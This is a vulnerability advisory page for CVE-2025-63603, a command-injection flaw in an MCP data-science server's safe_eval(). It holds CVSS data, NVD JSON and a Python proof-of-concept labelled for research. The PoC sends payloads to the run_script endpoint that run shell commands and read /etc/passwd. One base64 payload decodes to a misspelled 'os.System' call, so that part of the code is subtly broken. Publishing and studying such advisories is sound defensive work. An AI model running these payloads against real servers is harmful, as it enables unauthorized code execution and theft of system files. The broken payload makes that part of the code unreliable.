Security Vulnerability Report
中文
CVE-2025-63603 CVSS 6.5 MEDIUM

CVE-2025-63603

Published: 2025-11-18 16:15:46
Last Modified: 2026-01-02 20:38:59

Description

A command injection vulnerability exists in the MCP Data Science Server's (reading-plus-ai/mcp-server-data-exploration) 0.1.6 in the safe_eval() function (src/mcp_server_ds/server.py:108). The function uses Python's exec() to execute user-supplied scripts but fails to restrict the __builtins__ dictionary in the globals parameter. When __builtins__ is not explicitly defined, Python automatically provides access to all built-in functions including __import__, exec, eval, and open. This allows an attacker to execute arbitrary Python code with full system privileges, leading to complete system compromise. The vulnerability can be exploited by submitting a malicious script to the run_script tool, requiring no authentication or special privileges.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mcp_server_for_data_exploration_project:mcp_server_for_data_exploration:0.1.6:*:*:*:*:*:*:* - VULNERABLE
reading-plus-ai/mcp-server-data-exploration 0.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63603 PoC - MCP Data Science Server Command Execution Note: This PoC is for educational and security testing purposes only. """ import requests import json # Target MCP Data Science Server endpoint TARGET_URL = "http://target-server:8000/run_script" # Malicious payload - execute system command via __builtins__ payload = """ __builtins__['__import__']('os').system('whoami > /tmp/pwned.txt') """ # Alternative payload using exec payload_exec = """ exec(__import__('base64').b64decode('b3MuU3lzdGVtKCd3aG9hbWknKQ==').decode()) """ # Read file using builtins payload_read = """ result = open('/etc/passwd').read() print(result) """ def exploit(target_url, payload): """Send malicious script to vulnerable MCP server""" headers = { 'Content-Type': 'application/json', 'User-Agent': 'MCP-Client/1.0' } data = { 'script': payload, 'timeout': 30 } try: response = requests.post(target_url, json=data, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-63603 PoC") print("[*] Target: MCP Data Science Server") print("[*] Exploiting safe_eval() command injection...") exploit(TARGET_URL, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63603", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:45.833", "lastModified": "2026-01-02T20:38:58.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability exists in the MCP Data Science Server's (reading-plus-ai/mcp-server-data-exploration) 0.1.6 in the safe_eval() function (src/mcp_server_ds/server.py:108). The function uses Python's exec() to execute user-supplied scripts but fails to restrict the __builtins__ dictionary in the globals parameter. When __builtins__ is not explicitly defined, Python automatically provides access to all built-in functions including __import__, exec, eval, and open. This allows an attacker to execute arbitrary Python code with full system privileges, leading to complete system compromise. The vulnerability can be exploited by submitting a malicious script to the run_script tool, requiring no authentication or special privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mcp_server_for_data_exploration_project:mcp_server_for_data_exploration:0.1.6:*:*:*:*:*:*:*", "matchCriteriaId": "B11CD521-EAB2-41C7-900E-BF27AB39822E"}]}]}], "references": [{"url": "https://github.com/reading-plus-ai/mcp-server-data-exploration/issues/12", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}